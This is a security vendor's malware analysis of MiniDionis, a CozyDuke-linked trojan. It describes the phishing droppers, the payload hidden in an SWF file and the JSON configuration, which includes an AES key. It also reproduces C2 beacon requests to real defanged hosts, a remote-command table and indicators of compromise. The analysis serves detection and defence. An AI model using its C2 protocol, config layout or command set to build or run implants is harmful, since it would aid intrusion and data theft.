[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/)  
Menu

* [Tools](https://unit42.paloaltonetworks.com/tools/)
* [ATOMs](https://unit42.paloaltonetworks.com/atoms/)
* [Security Consulting](https://www.paloaltonetworks.com/unit42)
* [About Us](https://unit42.paloaltonetworks.com/about-unit-42/)
* [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html)
* [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research")
* [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research")
* [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware")  
  [Malware](https://unit42.paloaltonetworks.com/category/malware/)

# Tracking MiniDionis: CozyCar's New Ride Is Related to Seaduke

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 7 min read  
Related Products  
[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:
  
  * [Brandon Levene](https://unit42.paloaltonetworks.com/author/brandon-levene/)
  * [Richard Wartell](https://unit42.paloaltonetworks.com/author/richard-wartell/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  Published:July 14, 2015

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  Categories:
  
  * [Malware](https://unit42.paloaltonetworks.com/category/malware/)
  * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  Tags:
  
  * [CozyCar](https://unit42.paloaltonetworks.com/tag/cozycar/)
  * [CozyDuke](https://unit42.paloaltonetworks.com/tag/cozyduke/)
  * [Forkmeimfamous](https://unit42.paloaltonetworks.com/tag/forkmeimfamous/)
  * [JSON](https://unit42.paloaltonetworks.com/tag/json/)
  * [MiniDionis](https://unit42.paloaltonetworks.com/tag/minidionis/)
  * [Seaduke](https://unit42.paloaltonetworks.com/tag/seaduke/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/?pdf=download&lg=en&_wpnonce=40dbae5d0f "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/?pdf=print&lg=en&_wpnonce=40dbae5d0f "Click here to print")

Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Tracking%20MiniDionis:%20CozyCar’s%20New%20Ride%20Is%20Related%20to%20Seaduke&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Ftracking-minidionis-cozycars-new-ride-is-related-to-seaduke%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Ftracking-minidionis-cozycars-new-ride-is-related-to-seaduke%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Ftracking-minidionis-cozycars-new-ride-is-related-to-seaduke%2F&title=Tracking%20MiniDionis:%20CozyCar’s%20New%20Ride%20Is%20Related%20to%20Seaduke "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Ftracking-minidionis-cozycars-new-ride-is-related-to-seaduke%2F&text=Tracking%20MiniDionis:%20CozyCar’s%20New%20Ride%20Is%20Related%20to%20Seaduke "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Ftracking-minidionis-cozycars-new-ride-is-related-to-seaduke%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Tracking%20MiniDionis:%20CozyCar’s%20New%20Ride%20Is%20Related%20to%20Seaduke%20https%3A%2F%2Funit42.paloaltonetworks.com%2Ftracking-minidionis-cozycars-new-ride-is-related-to-seaduke%2F "Share in Mastodon")

### Executive Summary

Unit 42 has uncovered a new campaign from the CozyDuke threat actors, aka CozyCar \[1\], leveraging malware that appears to be related to the Seaduke malware described earlier this week by Symantec. \[2\]

This campaign, which began on July 7, 2015, appears to be targeted at government organizations and think-tanks located in democratic countries \[3\], and utilizes compromised, legitimate websites for spear phishing and command and control activity.

Unit 42 discovered the extent of this attack using the Palo Alto Networks [AutoFocus](https://www.paloaltonetworks.com/products/platforms/subscriptions/autofocus.html) service, which allows analysts to quickly find correlations among malware samples analyzed by [WildFire](https://www.paloaltonetworks.com/products/technologies/wildfire.html). All files referenced throughout the analysis are contained in the IOC table at the end of this blog.

### Malware Details

#### The Initial Droppers: Decoy and Downloader

The current CozyCar campaign includes spear phishing emails that deliver the payload from either by a link to a .zip file on a compromised website or by direct delivery as an attachment to the phish.

At the time of our analysis, the phishing link was no longer active. When a user opens the attached file a poorly detected executable file \[VT 1/54\] is extracted. The initial dropper is a self-extracting archive (SFX). Upon execution, this executable file will drop two files in the %TEMP% directory: a decoy .wav file and the secondary dropper.

The CozyDuke group commonly uses legitimate media files to trick users. In reality, while the media -- a .wav file with a female voice claiming to be a reporter looking for commentary -- is played, the secondary dropper executes in the background. The secondary dropper requests a .swf file using SSL as illustrated in the HTTP traffic below.

As of this writing, the domain extranet.qualityplanning\[.\]com resolved to 64.244.34\[.\]200.  
GET /webscriptsecurity/view/4/player.swf HTTP/1.1 Accept: text/html,application/xhtml+xml,\*/\* Accept-Language: en\_US User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Host: extranet.qualityplanning\[.\]com Connection: Keep-Alive

|-------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 | GET /webscriptsecurity/view/4/player.swf HTTP/1.1 Accept: text/html,application/xhtml+xml,\*/\* Accept-Language: en\_US User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Host: extranet.qualityplanning\[.\]com Connection: Keep-Alive |

The secondary dropper then cleans up after itself with a simple vbs script (md5:0d132ee171768dc30d14590ed2dbadd1) that leaves only the decoy multimedia file behind. But what did the dropper do with the .swf file?

#### The Real Payload

While the player.swf file downloaded by the second stage dropper does contain media, it is, again, a decoy.

The actual flash component of this file is roughly 16kb, leaving approximately 200kb of the file unaccounted for. The second stage dropper contains decoding routines that decode the arbitrary binary data into an executable file.

The executable file is dropped in %appdata%/Roaming and appears to try and emulate legitimate software names: TimbuktuDaemon, SearchIndexer, RtkAudioService64, dirmngr, o2flash, and usbrefs64. This file was not observed on VirusTotal until July 9 and has extremely low detection rates \[VT: 3/54\].

It appears that the authors of this particular iteration of the CozyCar group's malware internally call it "miniDionis" according to pdb strings left in the binary (c:\\BastionSolution\\Shells\\Projects\\miniDionis4\\miniDionis\\obj\\Release\\miniDionis.pdb). It also appears to be an iteration on the "forkmeimfamous" aka Seaduke malware analyzed by Unit 42 in a previous blog \[4\].

The malware stores 2 files in the %temp% directory: a configuration file and a secondary dll. The configuration file's name matches the final characters of the bot\_id that is contained within as per the sample below:  
{ "bot\_id": "8C9U-01MRLXW", "host\_scripts": \[ "https://www.illuminatistudios.net/mobile/viewer.php" \] }

|-------------|-----------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 | { "bot\_id": "8C9U-01MRLXW", "host\_scripts": \[ "https://www.illuminatistudios.net/mobile/viewer.php" \] } |

[![.net fig 2](http://blog.paloaltonetworks.com/wp-content/uploads/2015/07/net-fig-2-500x298.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/07/net-fig-2.png)

Figure 1. .net disassembly of the primary payload shows the author's name for the project, "miniDionis".

Analysis of the secondary dll file (name matches \[A-Z0-9\]{1}\\.tmp) indicates that its primary function is to serve as a cleanup mechanism for the dropped binary. This is likely an attempt to thwart forensic investigations.

Further examination of memory dumps taken following the execution of miniDionis reveals some clues into the beaconing activity exhibited. The malware stores configuration values in memory as key:value pairs:  
{ "autoload\_settings": { "app\_name": "Wuauctl", "delete\_after": false, "exe\_name": "Wuauctl.exe" }, "cookie\_name": "SSID", "enable\_autoload": false, "first\_run\_delay": 0, "host\_scripts": \[ "https://www.illuminatistudios\[.\]net/mobile/viewer.php" \], "key\_id": "01MRLXW", "keys": { "aes": "PmDqw0pO4Rju5MFsqkRj7k5pV/84kXC9NdjIRgkN8gU=", "aes\_iv": "tYa/iASKhNsyzFZjHolthw==" }, "user\_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" }

|-------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | { "autoload\_settings": { "app\_name": "Wuauctl", "delete\_after": false, "exe\_name": "Wuauctl.exe" }, "cookie\_name": "SSID", "enable\_autoload": false, "first\_run\_delay": 0, "host\_scripts": \[ "https://www.illuminatistudios\[.\]net/mobile/viewer.php" \], "key\_id": "01MRLXW", "keys": { "aes": "PmDqw0pO4Rju5MFsqkRj7k5pV/84kXC9NdjIRgkN8gU=", "aes\_iv": "tYa/iASKhNsyzFZjHolthw==" }, "user\_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" } |

The configuration of miniDionis is a JSON blob with several important sections, which are described in the table below:

|-----------------------|----------------------------------------------------------------------------------------------------------------|
| **Key**               | **Functionality**                                                                                              |
| **autoload\_settings** | dictionary containing values which control the malware's behavior when executing via persistence mechanisms    |
| **app\_name**          | subkey of autload\_settings, defines the value to be used as the malware's name                                 |
| **delete\_after**      | subkey of autload\_settings, boolean value that defines whether the executable is to be deleted after exectuing |
| **exe\_name**          | subkey of autload\_settings, defines the value to be used as the exectuable file's name                         |
| **cookie\_name**       | defines the value in which cookie data will be stored                                                          |
| **enable\_autoload**   | boolean value which controls persistence                                                                       |
| **first\_run\_delay**   | time in seconds to delay initial beaconing after execution                                                     |
| **host\_scripts**      | dictionary containing the location of C2s                                                                      |
| **key\_id**            | equivalent to the bot\_id; also used to derive values in C2 comms                                               |
| **keys**              | dictionary containing an AES key and AES IV                                                                    |
| **aes**               | aes value                                                                                                      |
| **aes\_iv**            | aes\_iv                                                                                                         |
| **user\_agent**        | HTTP User-Agent header to be used when communicating with a C2                                                 |

Table 1. 'miniDionis' configuration keys

#### Network Communications

The functional payload of this Trojan starts by creating a Mutex by splitting the "bot\_id" value in the configuration on the hyphen ("-") and using the second portion of the split string (specifically, "01MRLXW" in the case of this configuration).

From a functionality standpoint, the Trojan uses the concept of tasks that are processed and completed using a pool of threads. To obtain tasks, the Trojan will issue an HTTPS request to the C2 server ("host\_scripts" in the configuration) that resembles the following example beacon:  
GET /mobile/viewer.php HTTP/1.1 Accept: \*/\* Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: www.illuminatistudios\[.\]net Cookie: SSID=sLW5XoHJDwU3YxCRzwsEnfPPksD1sggcC8-25A Accept-Encoding: gzip, deflate Connection: Keep-Alive

|-----------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 | GET /mobile/viewer.php HTTP/1.1 Accept: \*/\* Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: www.illuminatistudios\[.\]net Cookie: SSID=sLW5XoHJDwU3YxCRzwsEnfPPksD1sggcC8-25A Accept-Encoding: gzip, deflate Connection: Keep-Alive |

The Trojan manually creates the cookie in this HTTP request. The cookie contains ciphertext that the Trojan creates based on the "bot\_id" in the JSON configuration. The Trojan compresses the "bot\_id" string using zlib and then encrypts it using the RC4 algorithm using a generated key. The generated key is a SHA1 hash of two randomly created strings: the first of which is between 2 and 8 bytes long and the second is between 1 and 7 characters in length.

The ciphertext of the "bot\_id" is then based64 encoded and finally the appended to the "cookie\_name" ("SSID=") in the configuration and sent within the HTTP request to the C2 server.

Unit 42 did not observe the first random string (between 2 and 8 characters in length) sent to the C2 in the first beacon, which would be required by the C2 to reproduce the exact SHA1 hash used as a key to generate the ciphertext in the cookie. Upon further examination we believe that the C2 will not be able to decrypt the cookie in the first beacon. Instead, the C2 will respond to the first beacon with data that the Trojan will use to extract a string, using a function named TrExtractKey seen in Figure 2, to replace the first random string used to generate the SHA1 hash.

Once the C2 and Trojan have synchronized using this string, the C2 will be able to decrypt subsequent network beacons because the Trojan includes the random string between 1 and 7 characters that makes up the second half of the SHA1 hash within the cookie field before the ciphertext.

[![fig 3](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/07/fig-3.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/07/fig-3.png)

Figure 2. TrExtractKey Function Used by MiniDionis to Obtain String from C2 to Synchronize Keys

The C2 communications, and several of the commands we will discuss in this blog, include a rather interesting technique to manually handle HTTP redirection, such as the HTTP 301 Moved Permanently and HTTP 302 Found status codes.

The technique used to handle these redirections involves checking for the presence of a "Location" field within the HTTP headers of the server response, then using regular expressions to parse the HTML within server response to find the appropriate URL.

The code contains three regular expressions to parse the HTML to locate the URL, the first of which is "\<a.\*?\>.\*?\</a\>" that locates all of the tags associated with link within the HTML.

The second regular expression of "onclick=\\"Accept();\\"" locates only links within the HTML with a specific "onclick" action.

The last regular expression of "href\\\\s\*=\\\\s\*(?:\[\\"'\](?\<1\>\[^\\"'\]\*)\[\\"'\]|(?\<1\>\\\\S+))" to obtain the correct URL to interact with as the C2 server.

#### Command handler

Once the C2 and Trojan have synchronized and can decrypt their network communications the C2 server will begin responding to beacons from the Trojan with JSON blobs.

Unit 42 has not received any JSON blobs from an active C2 server, but based on static analysis of the Trojan determined the JSON would look as follows:  
{ 'tasks' : \[ {'task\_id' : "", 'task\_data' : {'command' : "", 'data' : ""} }, \] }

|---|-------------------------------------------------------------------------------------|
| 1 | { 'tasks' : \[ {'task\_id' : "", 'task\_data' : {'command' : "", 'data' : ""} }, \] } |

The Trojan takes this JSON blob and adds each task in the list into a pool for processing. Separate worker threads access this pool of tasks and process the commands and perform the necessary activities.

Unit 42 analyzed the Trojan's command handler and found several commands, as seen in Table 2, which allows the threat actors to carry out a full range of activities on the system.

|-------------|----------------------|----------------------------------------------------------------------------------------------------------------|
| **Command** | **Sub-Command**      | **Description**                                                                                                |
| cmd         |                      | Checks for subcommands within the 'data' section, if not it attempts to run the 'data' using "cmd /c \<data\>' |
|             | cd                   | Changes directory                                                                                              |
|             | pwd                  | Returns current working directory                                                                              |
|             | cdt                  | Change to temporary directory                                                                                  |
|             | :set\_update\_interval | Sets the timeout between network beacons                                                                       |
|             | :proxy               | Configures proxy information                                                                                   |
|             | :exit                | Exits the Trojan and responds to the C2 server with "Bye!"                                                     |
|             | :wget                | Downloads a file from a specified URL                                                                          |
|             | :uploadto            | Uploads a file to a specified URL                                                                              |
|             | exec                 | Launches an application and waits for it to exit                                                               |
|             | execw                | Launches an applications and does not wait for it to exit                                                      |
| upl         |                      | Uploads or downloads from a list of files to or from the C2 server                                             |
| srv         |                      | Sends system information from the compromised system to the C2 server                                          |

Table 2. Available Commands within MiniDionis' Command Handler

### Conclusion

The actors behind the CozyDuke framework are highly sophisticated, motivated, and have become increasingly bold in their campaigns.

We recommend that other security practitioners review the included Indicators of Compromise (IoCs) to ensure they have not been targets in this campaign, and add the appropriate security controls to prevent future attacks.

This group is reliant on social engineering, and thus, user education remains of paramount importance.

Palo Alto Networks customers using WildFire were protected from this campaign. All known elements of this campaign have been accurately identified by WildFire as malicious.

#### IOCs

|----------|-----------------------------------|
| domain   | ff.whitebirchpaper\[.\]com        |
| domain   | visionresearch\[.\]com            |
| domain   | betawebservices.ntnonline\[.\]com |
| domain   | staff.shasta\[.\]com              |
| hostname | extranet.qualityplanning\[.\]com  |
| hostname | secure.hgl\[.\]com                |
| hostname | illuminatistudios\[.\]net         |
| ip       | 103.254.16.168                    |
| ip       | 103.226.132.7                     |
| ip       | 122.228.193.115                   |
| md5      | 01039a95e0a14767784acc8f07035935  |
| md5      | 0f9534b63cb7af1e3aa34839d7d6e632  |
| md5      | 2e64131c0426a18c1c363ec69ae6b5f2  |
| md5      | 70f5574e4e7ad360f4f5c2117a7a1ca7  |
| md5      | 1dd593ad084e1526c8facce834b0e124  |
| md5      | 42ffc84c6381a18b1f6d000b94c74b09  |
| md5      | 719cf63a3922953ceaca6fb4dbed6584  |
| md5      | f415470b9f0edc1298b1f6ae75dfaf31  |
| md5      | ca770a4c9881afcd610aad30aa53f651  |
| md5      | 24083e6186bc773cd9c2e70a49309763  |
| md5      | b0a9a175e2407352214b2d005253bc0c  |
| md5      | b55628a605a5dfb5005c44220ae03b8a  |
| md5      | 26bd36cc57e30656363ca89910579f63  |
| md5      | a9c045c401afb9766e2ca838dc6f47a4  |
| md5      | f8cb10b2ee8af6c5555e9cf3701b845f  |
| md5      | c8b49b42e6ebb6b977ce7001b6bd96c8  |
| md5      | 030da7510113c28ee68df8a19c643bb0  |
| md5      | e07ef8ffe965ec8b72041ddf9527cac4  |
| md5      | 4cbd9a0832dcf23867b092de37c10d9d  |
| md5      | 3a04a5d7ed785daa16f4ebfd3acf0867  |
| md5      | 9018fa0826f237342471895f315dbf39  |
| md5      | 98613ecb3afde5fc48ca4204f8363f1d  |
| md5      | e00bf9b8261410744c10ae3fe2ce9049  |
| md5      | 51ea28f4f3fa794d5b207475897b1eef  |
| md5      | 3195110045f64a3c83fc3e043c46d253  |
| md5      | 1dd593ad084e1526c8facce834b0e124  |
| url      | connectads\[.\]com                |
| url      | kane-consulting\[.\]net           |
| url      | edadmin.kearsney\[.\]com          |
| url      | redbluffchamber\[.\]com           |

#### Sources

\[1\] [https://securelist.com/blog/research/69731/the-cozyduke-apt/](https://securelist.com/blog/research/69731/the-cozyduke-apt/)\[2\] [http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory](https://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory)\[3\] [http://www.theregister.co.uk/2015/04/22/cozyduke\_hackers\_white\_house\_state\_dept\_malware/](https://www.theregister.co.uk/2015/04/22/cozyduke_hackers_white_house_state_dept_malware/)\[4\] [http://blog.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/](https://blog.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/)
Back to top

### Tags

* [CozyCar](https://unit42.paloaltonetworks.com/tag/cozycar/ "CozyCar")
* [CozyDuke](https://unit42.paloaltonetworks.com/tag/cozyduke/ "CozyDuke")
* [Forkmeimfamous](https://unit42.paloaltonetworks.com/tag/forkmeimfamous/ "forkmeimfamous")
* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")
* [MiniDionis](https://unit42.paloaltonetworks.com/tag/minidionis/ "MiniDionis")
* [Seaduke](https://unit42.paloaltonetworks.com/tag/seaduke/ "Seaduke")  
  [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Unit 42 Technical Analysis: Seaduke](https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/ "Unit 42 Technical Analysis: Seaduke")

### Related Articles

* [The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "article - table of contents")
* [The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "article - table of contents")
* [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/ "article - table of contents")

## Related Malware Resources

![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/)

* [API](https://unit42.paloaltonetworks.com/tag/api/ "API")

* [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE")  
  ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/)

* [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel")

* [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2")

* [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure")  
  ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/)

* [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI")

* [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT")

* [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America")  
  ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/)

* [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa")

* [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID")

* [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams")  
  ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/)

* [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor")

* [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin")

* [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution")  
  ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/)

* [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication")

* [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft")

* [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels")  
  ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/)

* [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK")

* [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum")

* [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet")  
